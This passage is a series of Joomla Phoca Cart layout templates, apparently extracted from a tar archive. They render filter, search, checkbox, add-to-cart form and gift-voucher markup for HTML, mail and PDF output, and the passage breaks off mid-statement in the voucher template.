if (isset($d['filterprice']) &&
($d['filterprice'] == 2 || $d['filterprice'] == 3)) {
?>
<div class="<?php echo
$d['s']['c']['row'] ?>">
<div class="<?php echo
$d['s']['c']['col.xs12.sm12.md12'] ?>
ph-price-filter-box">
<div id="phPriceFilterRange"></div>
<div id="phPriceFilterPrice"></div>
</div>
</div>
<?php } ?>
<div class="<?php echo
$d['s']['c']['row'] ?>">
<div class="<?php echo
$d['s']['c']['col.xs12.sm5.md5']
?>"></div>
<div class="<?php echo
$d['s']['c']['col.xs12.sm7.md7']
?>">
<div class="<?php echo
$d['s']['c']['pull-right'] ?> <?php
echo $d['s']['c']['btn-group'] ?> ph-zero
ph-right-zero">
<button class="<?php echo
$d['s']['c']['btn.btn-success'] ?> tip
<?php echo $d['s']['c']['hastooltip']
?>" type="button" onclick="<?php echo $jsSet;
?>" title="<?php echo $d['titleset']; ?>"
aria-label="<?php echo $d['titleset'];
?>"><span class="<?php echo
$d['s']['i']['ok']
?>"></span></button>
<button class="<?php echo
$d['s']['c']['btn.btn-danger'] ?> tip
<?php echo $d['s']['c']['hastooltip']
?> <?php echo
$d['s']['c']['pull-right'] ?>"
type="button" onclick="<?php echo $jsClear; ?>"
title="<?php echo $d['titleclear']; ?>"
aria-label="<?php echo $d['titleclear'];
?>"><span class="<?php echo
$d['s']['i']['clear']
?>"></span></button>
</div>
</div>
</div>
<?php
/*
<button class="btn tip <?php echo
$d['s']['c']['hastooltip'] ?>"
type="button"
onclick="phChangeFilter('.$d['param'].',
\''. $value.'\', 0, \'text\');"
title="<?php echo JText::_('COM_PHOCACART_CLEAR_PRICE');
?>"><span
class="icon-remove"></span></button>
foreach ($d['items'] as $k => $v) {
$checked = '';
$value = (int)$v->id .'-'.
htmlspecialchars($v->alias);
if (in_array($value, $d['getparams'])) {
$checked = 'checked';
}
echo '<div class="checkbox">';
echo '<label><input type="checkbox"
name="tag" value="'.$value.'"
'.$checked.' onchange="phChangeFilter(this,
\''.$d['param'].'\', \''.
$value.'\');"
/>'.$v->title.'</label>';
echo '</div>';
}*/
?>
<div class="ph-cb"></div>
</div>
</div>
</div>
form_newsletter_checkbox.php000064400000001313151165411770012350
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$displayData = null;
$required = $d['display'] == 2 ? 'required=""
aria-required="true"' : '';
?>
<div class="<?php echo $d['class'] ?>">
<label><input type="<?php echo
$d['s']['c']['checkbox'] ?>"
id="<?php echo $d['name'] ?>" name="<?php
echo $d['name'] ?>" <?php echo $required ?>
/><?php echo $d['label_text'] ?></label>
</div>
form_part_end.php000064400000000733151165411770010107 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
// <--- FORM START MUST BE ADDED IN OUTPUT TEMPLATE
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>';
?>
form_part_start_add_to_cart_list.php000064400000003464151165411770014060
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
// Add to cart button
// 1 Standard Button
// 4 Icon Only Button
// 100 and above - specific external buttons
// 102 Paddle
// 103 External link
defined('_JEXEC') or die();
$d = $displayData;
$displayData = null;
$task = $d['typeview'] == 'Pos' ?
'pos.add' : 'checkout.add';
$ticketId = isset($d['ticketid']) ?
(int)$d['ticketid'] : 0;
$unitId = isset($d['unitid']) ? (int)$d['unitid'] :
0;
$sectionId = isset($d['sectionid']) ?
(int)$d['sectionid'] : 0;
echo '<form
id="phCartAddToCartButton'.(int)$d['id'].'"
class="phItemCartBoxForm phjAddToCart
phj'.$d['typeview'].'
phjAddToCartV'.$d['typeview'].'P'.(int)$d['id'].'"
action="'.$d['linkch'].'"
method="post">';
echo '<input type="hidden" name="id"
value="'.(int)$d['id'].'">';
echo '<input type="hidden" name="catid"
value="'.(int)$d['catid'].'">';
echo (int)$ticketId > 0 ? '<input type="hidden"
name="ticketid"
value="'.(int)$ticketId.'">' : '';
echo (int)$unitId > 0 ? '<input type="hidden"
name="unitid"
value="'.(int)$unitId.'">' : '';
echo (int)$sectionId > 0 ? '<input type="hidden"
name="sectionid"
value="'.(int)$sectionId.'">' : '';
echo '<input type="hidden" name="quantity"
value="1">';
echo '<input type="hidden" name="task"
value="'.$task.'">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="return"
value="'.$d['return'].'" />';
// FORM END MUST BE ADDED IN OUTPUT TEMPLATE --->
?>
form_privacy_checkbox.php000064400000001313151165411770011631
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$displayData = null;
$required = $d['display'] == 2 ? 'required=""
aria-required="true"' : '';
?>
<div class="<?php echo $d['class'] ?>">
<label><input type="<?php echo
$d['s']['c']['checkbox'] ?>"
id="<?php echo $d['name'] ?>" name="<?php
echo $d['name'] ?>" <?php echo $required ?>
/><?php echo $d['label_text'] ?></label>
</div>
form_question.php000064400000004352151165411770010163 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
// NOT USED
$d['paramname'] = $d['title1'] =
$d['param2name'] = $d['getparams'][0] = $jsSet =
$jsClear = $d['titleclear'] = $d['titleset'] =
'';
?>
<div class="<?php echo
$d['s']['c']['form-group'] ?>">
<label class="<?php echo
$d['s']['c']['col.xs12.sm5.md5'] ?>"
for="<?php echo $d['paramname']; ?>"><?php
echo $d['title1']; ?></label>
<div class="<?php echo
$d['s']['c']['col.xs12.sm7.md7']
?>"><input type="text" class="<?php echo
$d['s']['c']['form-control'] ?>"
name="<?php echo $d['paramname']; ?>"
value="<?php echo $d['getparams'][0]; ?>"
/></div>
</div>
<?php
if (isset($d['param2']) && $d['param2'] !=
'') { ?>
<div class="<?php echo
$d['s']['c']['form-group'] ?>">
<label class="<?php echo
$d['s']['c']['col.xs12.sm5.md5'] ?>"
for="<?php echo $d['param2name']; ?>"><?php
echo $d['title2']; ?></label>
<div class="<?php echo
$d['s']['c']['col.xs12.sm7.md7']
?>"><input type="text" class="<?php echo
$d['s']['c']['form-control'] ?>"
name="<?php echo $d['param2name']; ?>"
value="<?php echo $d['getparams2'][0]; ?>"
/></div>
</div>
<?php } ?>
<div class="<?php echo
$d['s']['c']['col.xs12.sm5.md5']
?>"></div>
<div class="<?php echo
$d['s']['c']['col.xs12.sm7.md7']
?>">
<div class="<?php echo
$d['s']['c']['pull-right'] ?> <?php
echo $d['s']['c']['btn-group'] ?> ph-zero
ph-right-zero">
<button class="<?php echo
$d['s']['c']['btn.btn-success'] ?> tip
<?php echo $d['s']['c']['hastooltip']
?>" type="button" onclick="<?php echo $jsSet;
?>" title="<?php echo $d['titleset'];
?>"><span class="<?php echo
$this->s['i']['ok']
?>"></span></button>
<button class="<?php echo
$d['s']['c']['btn.btn-danger'] ?> tip
<?php echo $d['s']['c']['hastooltip']
?> <?php echo
$d['s']['c']['pull-right'] ?>"
type="button" onclick="<?php echo $jsClear; ?>"
title="<?php echo $d['titleclear'];
?>"><span class="<?php echo
$this->s['i']['clear']
?>"></span></button>
</div>
</div>
form_search.php000064400000007504151165411770007563 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$d['paramname'] = str_replace('_', '',
$d['param']);
$jsSet = 'phChangeSearch(\'' . $d['param'] .
'\', jQuery(\'#' . $d['id'] . '
input[name="' . $d['paramname'] .
'"]\').val(), 1, \'text\', 1);';
$jsClear = 'phClearField(\'#' . $d['id'] .
$d['paramname'] . '\');phChangeSearch(\'' .
$d['param'] . '\', \'\', 0,
\'text\', 1);';
$displayData = null;
$checkedAll = '';
$checkedFilter = '';
$js = ' ' . "\n";
$js .= 'jQuery(document).ready(function(){' . "\n";
$js .= ' jQuery("#' . $d['id'] .
$d['paramname'] . '").keyup(function(event){' .
"\n";
$js .= ' if(event.keyCode == 13){' . "\n";
$js .= ' jQuery("#' . $d['id'] .
$d['paramname'] . 'Btn' . '").click();'
. "\n";
$js .= ' }' . "\n";
$js .= ' });' . "\n";
$js .= '});' . "\n";
$js .= ' ' . "\n";
$document = JFactory::getDocument();
$document->addScriptDeclaration($js);
if (isset($d['activefilter']) &&
$d['activefilter']) {
$checkedFilter = 'checked';
} else {
$checkedAll = 'checked';
}
?>
<div class="input-group">
<?php if ($d['display_inner_icon'] == 1) { ?>
<div class="inner-addon right-addon"><i
class="<?php echo
$d['s']['i']['search']
?>"></i><input type="text"
class="<?php echo
$d['s']['c']['form-control'] ?>"
name="<?php echo $d['paramname']; ?>"
placeholder="<?php echo JText::_($d['placeholder_text']);
?>" value="<?php echo $d['getparams'];
?>" id="<?php echo $d['id'] .
$d['paramname']; ?>"/></div>
<?php } else { ?>
<input type="text" class="<?php echo
$d['s']['c']['form-control'] ?>"
name="<?php echo $d['paramname']; ?>"
placeholder="<?php echo JText::_($d['placeholder_text']);
?>" value="<?php echo $d['getparams'];
?>" id="<?php echo $d['id'] .
$d['paramname']; ?>" aria-label="<?php echo
JText::_('COM_PHOCACART_SEARCH'); ?>" />
<?php } ?>
<?php if ($d['hide_buttons'] == 1) { ?>
<div style="display:none">
<?php } ?>
<span class="input-group-btn">
<button class="<?php echo
$d['s']['c']['btn.btn-success'] ?> tip
<?php echo $d['s']['c']['hastooltip']
?>" type="button" onclick="<?php echo $jsSet;
?>" title="<?php echo
JText::_('COM_PHOCACART_SEARCH'); ?>"
aria-label="<?php echo JText::_('COM_PHOCACART_SEARCH');
?>" id="<?php echo $d['id'] .
$d['paramname'] . 'Btn'; ?>"><span
class="<?php echo
$d['s']['i']['search']
?>"></span></button><button class="<?php
echo $d['s']['c']['btn.btn-danger'] ?> tip
<?php echo $d['s']['c']['hastooltip']
?>" type="button" onclick="<?php echo $jsClear;
?>" title="<?php echo
JText::_('COM_PHOCACART_CLEAR'); ?>"
aria-label="<?php echo JText::_('COM_PHOCACART_CLEAR');
?>"><span class="<?php echo
$d['s']['i']['clear']
?>"></span></button></span>
<?php if ($d['hide_buttons'] == 1) { ?>
</div>
<?php } ?>
</div>
<?php if ($d['search_options'] == 1) { ?>
<div class="radio ph-search-radio
ph-radio-container"><label><input type="radio"
name="phOptionSearchProducts" id="<?php echo
$d['id']; ?>SearchAllProducts"
value="phOptionSearchAllProducts" <?php echo $checkedAll;
?>><?php echo
JText::_('COM_PHOCACART_SEARCH_ALL_PRODUCTS'); ?><span
class="ph-radio-checkmark"></span></label>
</div>
<div class="radio ph-search-radio
ph-radio-container"><label><input type="radio"
name="phOptionSearchProducts" id="<?php echo
$d['id']; ?>SearchFilteredProducts"
value="phOptionSearchFilteredProducts" <?php echo
$checkedFilter; ?>><?php echo
JText::_('COM_PHOCACART_SEARCH_FILTERED_PRODUCTS'); ?><span
class="ph-radio-checkmark"></span></label>
</div>
<?php } ?>
form_search_active_parameters.php000064400000007575151165411770013351
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$filterItems = 0;
$clearFilterLink = JRoute::_(PhocacartRoute::getItemsRoute());
$price = new PhocacartPrice();
$price->setPrefix('');
$price->setSuffix('');
if (!empty($d['f'])) {
foreach ($d['f'] as $k => $v) {
if ($k == 'price') {
if ((isset($v['from']) &&
$v['from'] !== '') || (isset($v['to'])
&& $v['to'] !== '')) {
$priceFrom = $v['from'] !== '' ?
$price->getPriceFormat($v['from']) : '';
$priceTo = $v['to'] !== '' ?
$price->getPriceFormat($v['to']) : '';
$title = JText::_('COM_PHOCACART_PRICE') .
': ' . $priceFrom . ' - ' . $priceTo;
echo '<span class="' .
$d['s']['c']['label.label-info'] . '
ph-label-close">';
echo '<a href="#"
onclick="event.preventDefault();
phClearField(\'#phPriceFromTopricefrom\');
phClearField(\'#phPriceFromTopriceto\');
phChangeFilter(\'price_from\', \'\', 0,
\'text\',1, 1, 2); phChangeFilter(\'price_to\',
\'\', 0, \'text\',1, 0, 2);">' . $title .
' <i class="' .
$d['s']['i']['remove-circle'] . '
ph-label-close-remove"></i></a>';
echo '</span>';
$filterItems = 1;
}
} else {
if (!empty($v)) {
foreach ($v as $k2 => $v2) {
if (isset($v2['parameteralias']) &&
isset($v2['alias']) && isset($v2['title'])
&& $v2['parameteralias'] != '' &&
$v2['alias'] != '' && $v2['title'] !=
'') {
$title = $v2['title'];
if (isset($v2['parametertitle'])
&& $v2['parametertitle'] != '') {
switch ($v2['parametertitle']) {
case 'category':
$titlePrefix =
JText::_('COM_PHOCACART_CATEGORY');
break;
case 'tag':
$titlePrefix =
JText::_('COM_PHOCACART_TAG');
break;
case 'label':
$titlePrefix =
JText::_('COM_PHOCACART_LABEL');
break;
case 'manufacturer':
$titlePrefix =
JText::_('COM_PHOCACART_MANUFACTURER');
break;
default:
$titlePrefix =
$v2['parametertitle'];
break;
}
$title = $titlePrefix . ': ' .
$title;
}
echo '<span class="' .
$d['s']['c']['label.label-info'] . '
ph-label-close">';
echo '<a href="#"
onclick="event.preventDefault(); phChangeFilter(\'' .
$v2['parameteralias'] . '\', \'' .
$v2['alias'] . '\', this, \'checked\',0, 0,
2);">' . $title . ' <i class="' .
$d['s']['i']['remove-circle'] . '
ph-label-close-remove"></i></a>';
echo '</span>';
$filterItems = 1;
}
}
}
}
}
}
if ($filterItems == 1) {
echo '<span class="' .
$d['s']['c']['label.label-danger'] . '
ph-label-close">';
echo '<a onclick="startFullOverlay(1)"
href="' . JRoute::_($clearFilterLink) . '">' .
JText::_('COM_PHOCACART_CLEAR_ALL'). ' <i
class="' .
$d['s']['i']['remove-circle'] . '
ph-label-close-remove"></i></a>';
echo '</span>';
}
gift_voucher.php000064400000037026151165411770007761 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see
LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
/*
* +-------------------------------------------+
* | TYPE | FORMAT |
* +------------------+------------------------+
* | | html - HTML/SITE |
* | | pdf - PDF |
* | | mail - Mail |
* +------------------+------------------------+
*/
use Joomla\CMS\HTML\HTMLHelper;
defined('_JEXEC') or die();
$d = $displayData;
$color1 = '#A3464B';// Main
$color2 = '#272728';// Secondary
// START EXAMPLES CODE
$color1Eats = '#7A5E51';
$color1Moments = '#F39A3D';
$color1Student = '#745a75';
if ($d['gift_class_name'] == 'eats') {$color1 =
$color1Eats;}
if ($d['gift_class_name'] == 'moments') {$color1 =
$color1Moments;}
if ($d['gift_class_name'] == 'student') {$color1 =
$color1Student;}
// END EXAMPLES CODE
$cs = array();
$cs['ph-gift-voucher-box'] = 'background: #ffffff;
border: 3px dashed #252A34;, box-shadow: rgba(0, 0, 0, 0.35) 0px 5px 15px;
position: relative; padding: 0.5em;';
$cs['ph-gift-voucher-scissors'] = 'color: #000000;
position: absolute; bottom: -0.80em; right: 1em; font-size: 1.5em;';
$cs['ph-gift-voucher-body'] = 'background:
'.$color1.'; display:flex; width:100%;';
$cs['ph-gift-voucher-image-box'] = 'width: 100%; ';
$cs['ph-gift-voucher-image'] = 'object-fit: cover; width:
100%; height: 200px;';
$cs['ph-gift-voucher-title'] = ' color: #ffffff;
text-shadow: 2px 4px 3px rgba(0,0,0,0.3); font-size: 3em; font-weight:
bold; position: absolute; top: 1.5em; text-align: center; left: 0; right:
0;';
$cs['ph-gift-voucher-col1'] = 'color: #ffffff; width: 30%;
text-align: center; padding-top: 5%; display: flex; align-items: stretch;
justify-content: center;';
$cs['ph-gift-voucher-col2'] = 'color: #ffffff; width: 70%;
text-align: left; font-size: 0.7em; padding: 5%;';
$cs['ph-gift-voucher-head'] = 'background: #ffffff;
border-radius: 50%; width: 7em; height: 7em; margin: 1em; display: flex;
flex-direction: column; align-items: center; justify-content:
center;';
$cs['ph-gift-voucher-head-top'] = 'color:
'.$color1.'; font-weight: bold; text-transform: uppercase;
font-size: 1.8em; padding: 0;line-height:1;';
$cs['ph-gift-voucher-head-bottom'] = 'color:
'.$color2.'; font-weight: bold; text-transform: uppercase;
font-size: 1.1em;padding: 0;line-height:1;';
$cs['ph-gift-voucher-price'] = 'color: #ffffff;
text-align: center; font-weight: bold; font-size: 2.6em;margin: 0.2em
0;';
$cs['ph-gift-voucher-code'] = 'color:
'.$color2.';background-color: #ffffff; text-align: center;
font-weight: bold; font-size: 2.6em;margin: 0.2em 0; padding:0.5em;';
$cs['ph-gift-voucher-from'] = '';
$cs['ph-gift-voucher-to'] = '';
$cs['ph-gift-voucher-date-to'] = '';
$cs['ph-gift-voucher-message'] = '';
$cs['ph-gift-voucher-description'] = '';
// SET EMPTY INLINE STYLES AS DEFAULT
$s = array();
foreach ($cs as $k => $v) {
$s[$k] = '';
}
// SET CLASS NAMES
foreach($cs as $k => $v) {
$c[$k] = $k;
}
// RENDER CSS IN STYLE TAG FOR HTML
if ($d['format'] == 'html') {
echo '<style>';
foreach($cs as $k => $v) {
echo '.'.$k.' {'.$v.'}' . "\n";
}
// START EXAMPLES CODE
// Dynamic change of design of gift voucher in HTML
// EXAMPLES - Eats
echo '
.eats .ph-gift-voucher-body {background: '.$color1Eats.';}
.eats .ph-gift-voucher-head-top {color:
'.$color1Eats.';}';
// EXAMPLES - moments
echo '
.moments .ph-gift-voucher-body {background:
'.$color1Moments.';}
.moments .ph-gift-voucher-head-top {color:
'.$color1Moments.';}';
// EXAMPLES - student
echo '
.student .ph-gift-voucher-body {background:
'.$color1Student.';}
.student .ph-gift-voucher-head-top {color:
'.$color1Student.';}';
// END EXAMPLES CODE
echo '</style>';
}
// FIX image paths MAIL
$d['gift_description'] = str_replace('src="',
'src="'. JURI::root(), $d['gift_description']);
$d['gift_image'] = JURI::root() . $d['gift_image'];
// ------------------------
// | HTML | EMAIL |
// ------------------------
if ($d['format'] == 'html' || $d['format'] ==
'mail') {
if ($d['format'] == 'mail') {
// Specific case for mail
// IMAGE - in html we use standard image because of chaning the image
with help of javascript
// MAIL - in mail we use background image because mail clients do not use
negative margins
$cs['ph-gift-voucher-title'] = ' color: #ffffff;
text-shadow: 2px 4px 3px rgba(0,0,0,0.3); font-size: 4em; font-weight:
bold; text-align: center; padding-top: 2.5em;padding-bottom:2.5em;
background: url('.$d['gift_image'].');
background-repeat: no-repeat; background-size: cover;';
$cs['ph-gift-voucher-head'] = 'background: #ffffff;
border-radius: 50%; width: 10em; height: 10em; margin: auto;';
$cs['ph-gift-voucher-head-top'] = 'color:
'.$color1.'; font-weight: bold; text-transform: uppercase;
font-size: 2em; text-align: center;padding-top:1em;';
$cs['ph-gift-voucher-head-bottom'] = 'color:
'.$color2.'; font-weight: bold; text-transform: uppercase;
font-size: 1.3em; text-align: center;';
// Inline styles for mail
foreach ($cs as $k => $v) {
$s[$k] = ' style="'.$v.'"';
}
}
echo '<div'.$s['ph-gift-voucher-box'].'
class="phAOGiftType '.$c['ph-gift-voucher-box'].'
'.$d['gift_class_name'].'">';
echo '<span'.$s['ph-gift-voucher-scissors'].'
class="'.$c['ph-gift-voucher-scissors'].'">✂</span>'.
"\n";
if ($d['gift_image'] != '' &&
$d['format'] == 'html') {
echo '<div'.$s['ph-gift-voucher-image-box'].'
class="'.$c['ph-gift-voucher-image-box'].'">';
echo '<img'.$s['ph-gift-voucher-image'].'
class="phAOGiftImage
'.$c['ph-gift-voucher-image'].'"
src="'.$d['gift_image'].'" alt=""
/>';
echo '</div>';
}
if ($d['gift_title'] != '') {
echo '<div'.$s['ph-gift-voucher-title'].'
class="'.$c['ph-gift-voucher-title'].'
phAOGiftTitle">' .
$d['gift_title'].'</div>'. "\n";
}
echo '<div'.$s['ph-gift-voucher-body'].'
class="'.$c['ph-gift-voucher-body'].'">'.
"\n";
echo '<div'.$s['ph-gift-voucher-col1'].'
class="'.$c['ph-gift-voucher-col1'].'">'.
"\n";
echo '<div'.$s['ph-gift-voucher-head'].'
class="'.$c['ph-gift-voucher-head'].'">'.
"\n";
echo '<div'.$s['ph-gift-voucher-head-top'].'
class="'.$c['ph-gift-voucher-head-top'].'">'.JText::_('COM_PHOCACART_TXT_GIFT_VOUCHER_GIFT').'</div>';
echo
'<div'.$s['ph-gift-voucher-head-bottom'].'
class="'.$c['ph-gift-voucher-head-bottom'].'">'.JText::_('COM_PHOCACART_TXT_GIFT_VOUCHER_VOUCHER').'</div>';
echo '</div>';// end ph-gift-voucher-head
echo '</div>'. "\n";// end ph-gift-voucher-col1
echo '<div'.$s['ph-gift-voucher-col2'].'
class="'.$c['ph-gift-voucher-col2'].'">'.
"\n";
if ($d['gift_description'] != '') {
echo
'<div'.$s['ph-gift-voucher-description'].'
class="'.$c['ph-gift-voucher-description'].'
phAOGiftDescription">'.$d['gift_description'].'</div>'.
"\n";
}
echo '<div'.$s['ph-gift-voucher-price'].'
id="phItemPriceGiftBox'. $d['typeview'] .
(int)$d['product_id'].'"
class="'.$c['ph-gift-voucher-price'].'">'
. $d['discount'].'</div>'. "\n";
if ($d['gift_sender_name'] != '') {
echo '<div'.$s['ph-gift-voucher-from'].'
class="'.$c['ph-gift-voucher-from'].'">'.JText::_('COM_PHOCACART_FROM').':
<span
class="phAOSenderName">'.$d['gift_sender_name'].'</span></div>'.
"\n";
}
if ($d['gift_recipient_name'] != '') {
echo '<div'.$s['ph-gift-voucher-to'].'
class="'.$c['ph-gift-voucher-to'].'">'.JText::_('COM_PHOCACART_TO').':
<span
class="phAORecipientName">'.$d['gift_recipient_name'].'</span></div>'.
"\n";
}
if ($d['gift_sender_message'] != '') {
echo '<div'.$s['ph-gift-voucher-message'].'
class="'.$c['ph-gift-voucher-message'].'
phAOSenderMessage">'.$d['gift_sender_message'].'</div>'.
"\n";
}
if ($d['code'] != '') {
echo '<div'.$s['ph-gift-voucher-code'].'
class="'.$c['ph-gift-voucher-code'].'
phAOGiftCode">'.$d['code'].'</div>'.
"\n";
}
if ($d['valid_to'] != '') {
echo '<div'.$s['ph-gift-voucher-date-to'].'
class="'.$c['ph-gift-voucher-date-to'].'">'.JText::_('COM_PHOCACART_VALID_TILL').':
<span
class="phAOGiftDate">'.$d['valid_to'].'</span></div>'.
"\n";
}
echo '</div>'. "\n";// end ph-gift-voucher-col2
echo '</div>'. "\n"; // end
ph-gift-voucher-body
echo '</div>'. "\n"; // end ph-gift-voucher-box
}
// -----------------
// | PDF |
// -----------------
if ($d['format'] == 'pdf') {
$cs['ph-gift-voucher-box'] = 'border: 1px dashed
#252A34;';
$cs['ph-gift-voucher-scissors'] = '';
$cs['ph-gift-voucher-body'] = 'color:
#fff;background-color: '.$color1.';';
$cs['ph-gift-voucher-image-box'] = '';
$cs['ph-gift-voucher-image'] = '';
$cs['ph-gift-voucher-title'] = 'font-size:
18px;text-align:center;font-weight: bold; color: #ffffff;';
$cs['ph-gift-voucher-col1'] = 'width: 30%;';
$cs['ph-gift-voucher-col2'] = 'width: 70%;';
$cs['ph-gift-voucher-head'] = 'text-align:
center;';
$cs['ph-gift-voucher-head-top'] = 'color:
'.$color1.'; font-weight: bold; text-transform: uppercase;
font-size: 13px;';
$cs['ph-gift-voucher-head-bottom'] = 'color:
'.$color2.'; font-weight: bold; text-transform: uppercase;
font-size: 11px;';
$cs['ph-gift-voucher-price'] = 'color: #ffffff;
text-align: center; font-weight: bold; font-size: 14px;';
$cs['ph-gift-voucher-code'] = 'color:
'.$color2.';background-color: #ffffff; text-align: center;
font-weight: bold; font-size: 14px;';
if ($d['format'] == 'mail' || $d['format']
== 'pdf') {
foreach ($cs as $k => $v) {
$s[$k] = ' style="'.$v.'"';
}
}
echo '<div nobr="true">';
$svgScissors= '<svg xmlns="http://www.w3.org/2000/svg"
width="100" height="60"
xmlns:v="https://vecta.io/nano"><path d="M98.031
14.192c-4.319-5.182-12.083-4.976-17.876-2.727L43.761
25.227c-10.613-5.766-21.078-4.075-21.086-6.898-.007-2.206 2.021-1.729
1.701-7.473-.307-5.515-6.078-9.579-11.519-9.201C7.411 1.639 1.78 5.828
1.748 11.582 1.36 17.379 6.25 22.748 12.016 23.11c6.757.986 18.705-3.141
24.345 6.897-4.158 7.724-11.574 7.767-18.281 7.401-5.568-.304-12.25
1.311-14.889 6.791-2.55 5.252-.012 12.709 5.884 14.297 5.952 2.164
14.109-.617 15.503-7.458 1.074-5.273-2.664-7.738-1.237-9.655 1.077-1.447
7.943-.631 20.155-6.159L82.99 49.015c4.989 1.377 11.081 1.312
15.482-3.602l-40.95-15.341 40.51-15.88zM16.784 6c5.753 3.19 5.309
11.89-.654 13.592-5.392 1.895-12.303-3.331-10.6-9.185.994-4.803 7.316-6.59
11.254-4.407zm.355 35.568c5.999 2.195 5.012 12.338-1.079 13.719-4.038
1.415-9.822-.587-10.245-5.347-.805-5.788 5.984-11.039
11.324-8.372z"/></svg>';
$params =
$d['pdf_instance']->serializeTCPDFtagParameters(array('@'
. $svgScissors, $x='', $y='', $w='6',
$h='4', $link='', $align='L',
$palign='L', $border=0, $fitonpage=true));
echo '<div style="text-align:center"><tcpdf
style="text-align:center;" method="ImageSVG"
params="'.$params.'" /></div>';
echo '<table
cellpadding="5"><tr><td'.$s['ph-gift-voucher-box'].'
class="phAOGiftType '.$c['ph-gift-voucher-box'].'
'.$d['gift_class_name'].'">';
if ($d['gift_image'] != '') {
echo '<div'.$s['ph-gift-voucher-image-box'].'
class="'.$c['ph-gift-voucher-image-box'].'">';
$params =
$d['pdf_instance']->serializeTCPDFtagParameters(array($d['gift_image'],
$x='', $y='', $w='', $h='',
$type='', $link='', $align='', $resize=true,
$dpi=300, $palign='', $ismask=false, $imgmask=false, $border=0,
$fitbox='CM', $hidden=false, $fitonpage=true, $alt=false,
$altimgs=array()));
echo '<div style="text-align:center"><tcpdf
style="text-align:center;" method="Image"
params="'.$params.'" /></div>';
echo '</div>';
echo '<tcpdf method="setPageMark" params=""
/>';
$html = '<div'.$s['ph-gift-voucher-title'].'
class="'.$c['ph-gift-voucher-title'].'
phAOGiftTitle">' .
$d['gift_title'].'</div>';
$params =
$d['pdf_instance']->serializeTCPDFtagParameters(array($w='',
$h='', $x='', $y='', $html, $border=0, $ln=1,
$fill=false, $reseth=true, $align='C', $autopadding=true));
echo '<div style="font-size:
6px"> </div>';
echo '<div style="text-align:center"><tcpdf
style="text-align:center;" method="writeHTMLCell"
params="'.$params.'" /></div>';
echo '<div style="font-size:
6px"> </div>';
echo
'<table><tr'.$s['ph-gift-voucher-body'].'
class="'.$c['ph-gift-voucher-body'].'">'.
"\n";
echo '<td'.$s['ph-gift-voucher-col1'].'
class="'.$c['ph-gift-voucher-col1'].'">'.
"\n";
$svg = '<svg width="80"
height="80"><circle cx="40" cy="40"
r="35" fill="white" /></svg>';
$params =
$d['pdf_instance']->serializeTCPDFtagParameters(array('@'
. $svg, $x='', $y='', $w='', $h='',
$link='', $align='', $palign='', $border=0,
$fitonpage=true));
echo '<div style="text-align:center"><tcpdf
style="text-align:center;" method="ImageSVG"
params="'.$params.'" /></div>';
echo '<div'.$s['ph-gift-voucher-head'].'
class="'.$c['ph-gift-voucher-head'].'"><div
style="font-size: 10px"> </div>'.
"\n";
echo '<div'.$s['ph-gift-voucher-head-top'].'
class="'.$c['ph-gift-voucher-head-top'].'">'.JText::_('COM_PHOCACART_TXT_GIFT_VOUCHER_GIFT').'</div>';
echo
'<div'.$s['ph-gift-voucher-head-bottom'].'
class="'.$c['ph-gift-voucher-head-bottom'].'">'.JText::_('COM_PHOCACART_TXT_GIFT_VOUCHER_VOUCHER').'</div>';
echo '</div>';// end ph-gift-voucher-head
echo '</td>'. "\n";// end ph-gift-voucher-col1
echo '<td'.$s['ph-gift-voucher-col2'].'
class="'.$c['ph-gift-voucher-col2'].'">'.
"\n";
echo '<div> </div>';
if ($d['gift_description'] != '') {
$description =
PhocacartText::removeFirstTag($d['gift_description']);
echo
